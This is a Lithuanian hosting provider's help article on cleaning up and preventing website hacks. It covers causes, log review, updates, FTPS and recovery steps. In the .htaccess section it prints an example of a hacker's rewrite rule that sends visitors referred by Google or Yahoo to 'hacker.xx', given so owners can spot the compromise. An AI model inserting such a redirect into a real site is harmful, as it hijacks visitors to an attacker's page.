Pagalba! Mano svetainė nulaužta. Kaip tai išspręsti ir užkirsti kelią?

Nemalonu, kai Jūsų paskyra nulaužiama. Darome viską, kad įsilaužėliams būtų kuo sunkiau, tačiau, deja, gali nutikti, kad įsilaužėlis vis dėlto gauna prieigą prie Jūsų svetainės. Tuomet svarbu išsiaiškinti priežastį, kaip įsilaužėlis pateko į Jūsų sistemą.

Tai gali būti sudėtinga ir daug laiko užimanti užduotis, tačiau priežastis ar šaltinis yra svarbūs, kad ateityje to būtų galima išvengti. Vien viską ištrinti ir atkurti atsarginę kopiją nėra sprendimas.

Nebeskelbkite užkrėstos svetainės internete, nebent esate 100% tikri, kad problema išspręsta ir svetainė saugi.

Patys valdymo skydelyje, domeno nustatymuose (arba „Windows“ talpinime per parinktį „Svetainės“), galite laikinai išjungti domeną, kad nulaužta svetainė nebedarytų žalos kitiems. Taip pat per Installatron („Linux“ talpinimas) galite atkurti senesnę atsarginę kopiją arba pasinaudoti mūsų atsarginių kopijų moduliu. Pirmiausia ištrinkite visus aplankus ir failus ir tik tada atkurkite atsarginę kopiją, kitaip naujai įkelti ir nulaužti failai liks vietoje.

Taip pat galite pavesti įsilaužimo pasekmes pašalinti mūsų ekspertams. Kadangi tai užima daug laiko, ši paslauga, deja, nėra nemokama.
Spustelėkite čia, jei norite sužinoti daugiau.

Galimų priežasčių tyrimas:

• Dažniausia priežastis: naudojate scenarijų ar įskiepį, kuris nėra atnaujintas iki naujausios versijos, nėra saugus arba turi klaidų. Tai gali būti ir, pavyzdžiui, WordPress ar Joomla modulis.
• Savo lankytojams suteikiate galimybę įkelti failus, ir vienas iš lankytojų įkėlė bei paleido PHP programą.
• Naudojate nuspėjamus, per paprastus slaptažodžius arba slaptažodžius, kuriuos galima sužinoti, pavyzdžiui, per haveibeenpwned.com.
• Jūsų kompiuteris užkrėstas virusu, kirminu ar klavišų registravimo programa (keylogger), kuri taip sužino slaptažodžius ir naudotojų vardus, pavyzdžiui, Jūsų FTP paskyros.
• Sukūrėte užpildymo formą, į kurią galima įterpti, pavyzdžiui, SQL ar PHP kodą, arba formą be Captcha, per kurią galima siųsti šlamštą.
• Peržiūrėkite svetainės žurnalų failus (DirectAdmin meniu „Statistika / žurnalai“), ar juose nėra įtartinų įrašų. Taip pat peržiūrėkite „Litespeed/Apache Usage Log“ ir „Backed up Apache logs“. Ieškokite IP adresų iš svetimų šalių ir ypač POST užklausų kartu su IP adresu iš svetimos šalies. Dažnai ten ką nors rasite. Per tokią svetainę kaip www.whatsmyip.org galite sužinoti, iš kurios šalies yra IP adresas.

Kaip išvengti įsilaužimo:

• Svarbiausia: pasirūpinkite, kad visi Jūsų scenarijai, pvz., WordPress/Joomla, visada būtų atnaujinti naujausiais atnaujinimais. Tai ypač taikoma įskiepiams ir šablonams. Atnaujinimus paprastai galima lengvai įdiegti per Installatron arba pačiame scenarijuje.
• Naudokite FTPS vietoj paprasto FTP
• NIEKADA nenaudokite SAVO naudotojo vardo ir slaptažodžio scenarijuose. Jei to neišvengiama, valdymo skydelyje sukurkite tam atskirą naudotoją.
• Naudokite tik žinomus ir patikimus scenarijus ir nuolat juos atnaujinkite.
• NIEKADA nesiūlykite failų įkėlimo galimybės. Tai labai pavojinga.

WordPress, Joomla ir kiti scenarijai: pasirūpinkite, kad būtų įdiegta naujausia versija!!
Svarbu nuolat atnaujinti WordPress, Joomla ir kitus scenarijus. Taip paprastai galima išvengti įsilaužimų. Per Installatron („Linux“ talpinimas) atnaujinimus įdiegti labai paprasta. Jei WordPress, Joomla ar kito scenarijaus nediegėte per Installatron, galite jį lengvai importuoti į Installatron ir tada atnaujinti scenarijų.

Aplankų, pvz., Joomla „administrator“, apsauga
Svarbu papildomai apsaugoti tokius aplankus kaip /administrator. Šiame straipsnyje paaiškinta, kaip tai padaryti.

Iframe įsilaužimas:

Jei tapote iframe įsilaužimo auka, priežastis dažnai yra Jūsų kompiuteryje esantis Trojos arklys, kuris pats įgyja prieigą prie Jūsų FTP paskyrų

• Patikrinkite, ar Jūsų svetainė tikrai nulaužta. Tai galima padaryti, pavyzdžiui, svetainėje UnmaskParasites.
• Prisijungimui naudokite FTPS vietoj FTP: FTP visus duomenis siunčia skaitomu tekstu, o FTPS siunčiamus duomenis užšifruoja, todėl įsilaužėliams sunkiau gauti šiuos jautrius duomenis.
• Dabar pakeiskite visus savo FTP slaptažodžius.
• Per valdymo skydelį / failų tvarkyklę arba per FTP visiems aplankams („Linux“) nustatykite chmod 755, o visiems failams chmod 644.

HTACCESS įsilaužimas / pakeistas .htaccess:

Toliau pateiktame pavyzdyje įsilaužėlis pakeitė Jūsų .htaccess failą. Dėl to Google ir Yahoo Jūsų svetainę indeksuos įprastai, tačiau visi kiti lankytojai bus nukreipti į įsilaužėlio svetainę.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteRule .* http://hacker.xx/in.html?= [R,L]

Google Jūsų svetainę laiko atakuojančia svetaine („Pranešta apie atakuojančią svetainę!“):

Toliau pateiktomis nuorodomis galite gauti informacijos (įrašykite savo domeno vardą):

http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=nl&site=http://www.jususdomenas.xx/

Šia nuoroda galite ne tik gauti informacijos, bet ir pateikti prašymą, kad Jūsų domenas ar svetainė nebebūtų laikoma atakuojančia svetaine. Tik įsitikinkite, kad ji tikrai visiškai išvalyta!

http://www.google.com/support/webmasters/bin/answer.py?hl=nl&answer=45432

1. Pasirinkite norimą svetainę „Search Console“ (buvusių „Žiniatinklio valdytojo įrankių“) apžvalgoje.
2. Pranešime „Šios svetainės dalys gali platinti kenkėjišką programinę įrangą“ spustelėkite „Daugiau informacijos“.
3. Spustelėkite „Pateikti peržiūros užklausą“.